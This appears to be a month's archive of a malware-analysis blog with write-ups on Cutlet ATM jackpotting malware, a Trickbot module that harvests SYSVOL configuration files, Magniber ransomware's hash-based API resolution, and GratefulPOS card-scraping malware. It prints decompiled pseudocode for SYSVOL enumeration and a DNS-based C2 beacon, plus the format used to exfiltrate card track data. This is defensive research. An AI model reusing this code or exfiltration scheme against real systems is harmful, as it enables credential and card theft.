Month: December 2017

Goal: Analyze the internals of the prolific Cutlet ATM malware.
Sample: fac356509a156a8f11ce69f149198108 

The blog outline is as follows:

I. Cutlet ATM Malware Background
This Cutlet malware became one of the most widely used malware targeting Automated Teller Machines (ATMs). The ATM malware is available on the underground and leveraged by multiple actors in numerous ATM jackpotting heists. The malware targets one ATM vendor only, which is Diebold Nixdorf, formerly known as Wincor Nixdorf.
II. Method of Operation 
The Cutlet malware is to be installed into individual ATMs, designed to make targeted machines dispense bills automatically via emptying cash-carrying cassettes. Typically, the ATM malware operation requires two individuals to be involved: one with the direct physical access to the ATM device connected to its backend USB port via a controlled PC; another one – remotely connected and able to release the key to dispense the cash to the first individual. By and large, the Cutlet malware, written in Borland Delphi, demonstrates its developer familiarity with the ATM-specific model proprietary API calls.
III. Threat Scope 
Alongside with the infamous Tyupkin, Skimer, and Ripper ATM malware, the Cutlet ATM malware is a formidable threat on the ATM malware landscape. The surfaced reports generated a significant amount of attention to the malware from the industry(1)(2) and has sparked interest within the cybercriminal underground. 
IV. Cutlet ATM Malware Analysis (version 1.0 F)
A. “start cooking” and “CHECK HEAT” functions
Essentially, while heavily packed, the core Cutlet ATM malware is rather trivial and targets only ATM manufacturer. The variant accepts the integer input from 1-9, which corresponds to ATM cassette slot number from 1-9.

The main malware functions work as follows:

B. ATM’s CSCWCNG API calls to dispense and transport cash
The malware operates leveraging the Nixdorf proprietary CSCWCNG.DLL API calls to manipulate the machine as follows:

V. Possible Mitigation
Monitoring, and reviewing any third-party applications that leverage the CSCWCNG API calls might assist with mitigating exposure to the Cutlet malware once it is already installed. It might be a good idea to whitelist only necessary applications to allow them to leverage these API calls.
VI. YARA RULE

Update (01-01-2017): The observed Cutlet ATM malware variants are as follows:

The world heatmap of all uploaded variant is as follows displaying Ukraine as the top uploader of Cutlet ATM samples:

Trickbot “DomainGrabber” outline:

I. Lightweight Directory Access Protocol (LDAP) query for domain controllers
II. Connection to “SYSVOL” domain controller
III. Harvesting domain controller XML configuration

As usual, the decoded module contains four Trickbot exported functions:

Start

Control

FreeBuffer

Release

Sean Metcalf has an interesting write-up on how LDAP can be exploited for credential and information harvesting highlighting this similar approach leveraged by the Trickbot gang. 

Have you scanned the SYSVOL share on your DCs for Group Policy Preference passwords recently?

Hint: attackers havehttps://t.co/wGiESxYnOx pic.twitter.com/xf8G2y8L0C

— Sean Metcalf (@PyroTek3) May 30, 2017

https://platform.twitter.com/widgets.jsI. This Trickbot module was programmed leveraging Active Directory Service Interfaces (ADSI) APIs  to query LDAP.

IIDFromString “{001677D0-FD16-11CE-ABC4-02608C9E7553}

IID_IADsContainer is defined as 001677D0-FD16-11CE-ABC4-02608C9E7553

ads_open = ADsOpenObject(“G”, 0, 0, 1u, &iid, &v11);

DsOpenObject function binds to an ADSI object using explicit user name and password starting with the letter “G”

IIDFromString(L”{00020404-0000-0000-C000-000000000046}”, &iid);

The GUID associated with the IEnumVARIANT interface

IIDFromString(L”{109BA8EC-92F0-11D0-A790-00C04FD8D5A8}”, &iid); 

-IID_IDirectorySearch is defined as 109BA8EC-92F0-11D0-A790-00C04FD8D5A8

The module queries all domain controllers as follows:

(&(objectCategory=computer) 

(userAccountControl:1.2.840.113556.1.4.803:=8192))

II. Trickbot connects to domain  controller and queries SYSVOL leveraging parsing the aforementioned LDAP query.

The relevant pseudocoded C++ function is as follows:

                str_func((int)&name, 260, “%ls”, *(_DWORD *)(v6 + 8));
                v26 = gethostbyname(&name);
                if ( v26 )
                {
                  v25 = (struct in_addr *)*v26->h_addr_list;
                  v2 = inet_ntoa(*v25);
                  MultiByteToWideChar(0, 1u, v2, -1, &WideCharStr, 32);
                  v30 = DsRoleGetPrimaryDomainInformation(0, DsRolePrimaryDomainInfoBasic, &Buffer);
                  if ( v30 )
                    return v21;
                  snwprintf_s(&DstBuf, 260u, 260u, L”\\\\%ls\\SYSVOL\\%ls“, &WideCharStr, *((_DWORD *)Buffer + 3));
                  memset(&Dst, 0, 0x20u);
                  lpName = &DstBuf;
                  v30 = WNetAddConnection2W((LPNETRESOURCEW)&Dst, 0, 0, 0);
                  if ( !v30 )
                  {
                    finder_files((int)&DstBuf);
                    WNetCancelConnection2W(lpName, 0, 0);

III. Finally, Trickbot queries stored domain controller for sensitive XML configurations such as scheduledtasks.xml, datasources.xml printers.xml, and etc.

Some of the mitigations against LDAP exploitation are well-documented in Metcalf’s article listed above. As a general rule of thumb, such configuration files should be secured from any unauthorized access in SYSVOL, and access to them should be monitored.

Goal: Reverse the latest Magniber ransomware with the focus on its PEB traversal function resolving APIs to hardcoded hashes.
Original infector: a4100b682b2b63374e4ed2fc937d9b96
Decoded payload: f51a5b8ee6a5f25aa293911702a37a34
Background:

• The ransomware served by Magnitude Exploit Kit (EK), named “Magniber,” specifically targets individuals in the Republic of Korea. Magniber checks that the potential victim’s system default language is Korean (code: 0x0412) via GetSystemDefaultUILanguage; if it is, the ransomware will terminate. Magniber generates a unique command-and-control (C2) server and ransom note website for each victim, only giving a valid response if the victim’s public IP address is located in South Korea.

#Magniber #Ransomware new variant via #MagnitudeEK with extension “.wmfxdqz”, evolved and is obfuscated now – still targets to South Korea.
Thx! @hasherezade @jeromesegura
MD5: a4100b682b2b63374e4ed2fc937d9b96 pic.twitter.com/b1BultusoG

— Marcelo Rivero (@MarceloRivero) December 13, 2017

https://platform.twitter.com/widgets.js
Malwarebytes’ @hasherezade and FireEye researchers previously extensively covered some of the Magniber ransomware cryptography and basic functionality. The scope of the blog is to unpack the ransomware with the focus on its PEB traversal function resolving APIs to hardcoded hashes.
Outline:

I. Unpacking malware
Extract the first-layer Magniber ransomware payload after it decodes and injects itself via  WriteProcessMemory. This process is rather trivial, and it includes simply dumping the buffer in OllyDbg.

II. Victim ID generation function

III. The PEB traversal code resolving hashes to APIs

Here, we observe interesting Magniber ransomware technique for traversing the Process Environment Block (PEB) data. 

PEB is a user-mode data structure that can be used by applications  to get information such as the list of loaded modules, process startup arguments, heap address amongst other useful capabilities. From MSDN more on the PEB structure, read here.
The malware traverses PEB structure to search for module hash match obtaining access to PEB via __readfsdword( 0x30 ) [fs:30h] iterating through loaded modules looking for pFunctionName and matching it with hash via ROTR macro implementing the logic of a rotate right operation.
By and large, this PEB traversal function is used to load hashes and to avoid usual sequence of LoadLibrary and GetProcAddress API from anti-virus basic detection. In this case, the ransomware resolves all Advapi32 cryptography, registry and Internet API calls.
Notably, this PEB traversal is almost an exact copy of the GitHub code belonging to the project “Position Independent Code Bindshell.”

The function C++ code works as follows:

The PEB traversal function leveraged 18 times to import and resolve the following hashes to their respective functions as follows:

• POS malware targets targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card’s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system’s memory unencrypted while the system determines where to send it for authorization. 

Look Maa! It’s zero-detection Point-of-Sales #POS #malware we are calling #gratefulPOS just in time for holiday shopping season! https://t.co/WpA6KCi3zu

— w1mp1 (@w1mp1k1ng) December 8, 2017

https://platform.twitter.com/widgets.js

• Masked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally,  this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past. All in all, the GratefulPOS malware appears to communicate via DNS with the purported “grp1” campaign identifier and contains debug Track 2 data presumably for testing purposes.

Deep dive into the GratefulPOS malware:

The malware masks itself as a legitimate-looking service titled “LogMeIn Hamachi Launcher” with the short name of “LogMeInHamachi”. For those unfamiliar, LogMeIn Hamachi is a “virtual private network (VPN) application that is capable of establishing direct links between computers that are behind NAT firewalls without requiring reconfiguration (when the user’s PC can be accessed directly without relays from the Internet/WAN side).” Such VPN software is extremely popular amongst administrators and technicians who might need to remotely login to the point-of-sale card network to address IT administrative and network issues.

The install function leverages usual OpenSCManagerA, CreateServiceA to create the service with the description “Provides launch functionality for LogMeInHamachi services.” Additionally, it creates a unique mutex titled ‘DLLLaunchasdf1‘

IV. Client-Server Communications
The malware proceeds to check if the SID using AllocateAndInitializeSid and EqualSid to see if it has succeeded with the call. If the return call equals “1,” the malware copies and stores the string “adm”  indicating admin privileges. Otherwise, GratefulPOS copies and stores the string “nadm” indicating the absence of such privileges. 

Eventually, the malware uses this information as part of the ping.%s.%s.%s.%s storing it as string in the first argument to reach the server ns[.]a193-45-3-47-deploy-akamaitechnologies[.]com (GET /index.php HTTP/1.0, wherein the host username is generated via GetComputerNameA xor’ed with the  byte key used “0AAh” and converted into hexadecimals). All in all, the malware runs the server calls in a separate thread. The POS malware then sleeps randomly for the period of between 2 hours and 3 hours (rand() % 3600000 + 7200000) before the next server call. GratefulPOS also adds the likely campaign identifier as “grp1” to the request when sending the data to the server. Notably, if the malware reads the value as “cccc,” it removes itself from the system. The malware collects both local computer name and its local IP.

signed int __cdecl get_http_resolve_func(int a1)

{

  signed int result; 

  char v2; 

  int v3; 

  int v4; 

  int v5; 

  int v6; 

  int v7; 

  int v8; 

  int v9; 

  int v10; 

  char v11; 

  char v12; 

  v11 = 0;

  memset(&v12, 0, 0x7FFu);

  _snprintf(&v11, 2047u, “%s.%s.%s.%s”, logmein_bid_value, computer_name, ‘grp1‘, a1, &name);

  v10 = 0;

  v6 = 0;

  memset(&v2, 0, 0x20u);

  v3 = 0;

  v4 = 1;

  v5 = 17;

  v7 = call_c2((int)&v11, (int)”http”, (int)&v2, (int)&v10);

  if ( v7 )

  {

    result = -1;

  }

  else

  {

    v8 = *(_DWORD *)(v10 + 24);

    v9 = *(_DWORD *)(v8 + 4);

    if ( v9 == ‘cccc’ )

      self_delete_func();

    func_6(v10);

    result = 0;

  }

  return result;

V. Logger File and Collector File Generation
The POS malware proceeds to open the file “logmein[.]bid” with read access privileges and read first 10 bytes. If it does not exit it will create a file “logmein[.]bid” with four two-digit random signed integers between 0 and 255 in hexadecimals generated via the rand() % 255 command. This generated string becomes the exfiltration file marker masked as a system “.dat” file.

This is done to shorten memory scraping time looking for Track data by excluding known processes not associated with possible point-of-sale software. 

VII. Memory Scraping Logic

GratefulPOS proceeds to read process memory pages leveraging using VirtualQueryEx reading Buffer.State & 0x1000 && Buffer.Protect & 0xCC at a time. The malware also compares if the process file path is at least 5 characters long. Then, the POS malware scans memory regions via ReadProcessMemory API looking for Track 1 and Track 2 data and writing and appending it to the “.dat” file as “tt1.%s.%s.%s.%s” Track 1 data and “tt2.%s.%s” Track 2 data if the matched length is 140 and 60 characters, respectively. The malware also checks if it can reach the server and after several attempts it deletes the stolen data. Additionally, GratefulPOS appends “notice” to the same file to mark debugger output.
The observed structure of the submitted requests data is as follows:

[HOST_ID].grp1.ping.[ADMIN].[LOCAL_IP].[LOCAL_USERNAME].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

[HOST_ID].grp1.notice.[PROCESS_ATTACHED].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

[HOST_ID].grp1.tt1.[TRACK1_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

[HOST_ID].grp1.tt2.[TRACK2_INFORMATION].ns[.]a193-45-3-47-deploy-akamaitechnologies.com

VIII. Luhn Algorithm

The malware also validates the card information by running the Luhn algorithm for any purported track data that does not begin with digits “4” (VISA), “5” (Mastercard), “6” (Discover), “34″ (AMEX), “37” (AMEX), “36” (Diner’s Club), and “300-305” (Diner’s Club).

Update (December 21, 2017): Thanks for the feedback in the comment section, I’ve compiled all the IOCs in one table listing Framework/GratefuPOS malware hashes (in SHA1), campaign IDs, service names, and known nameserver C2s.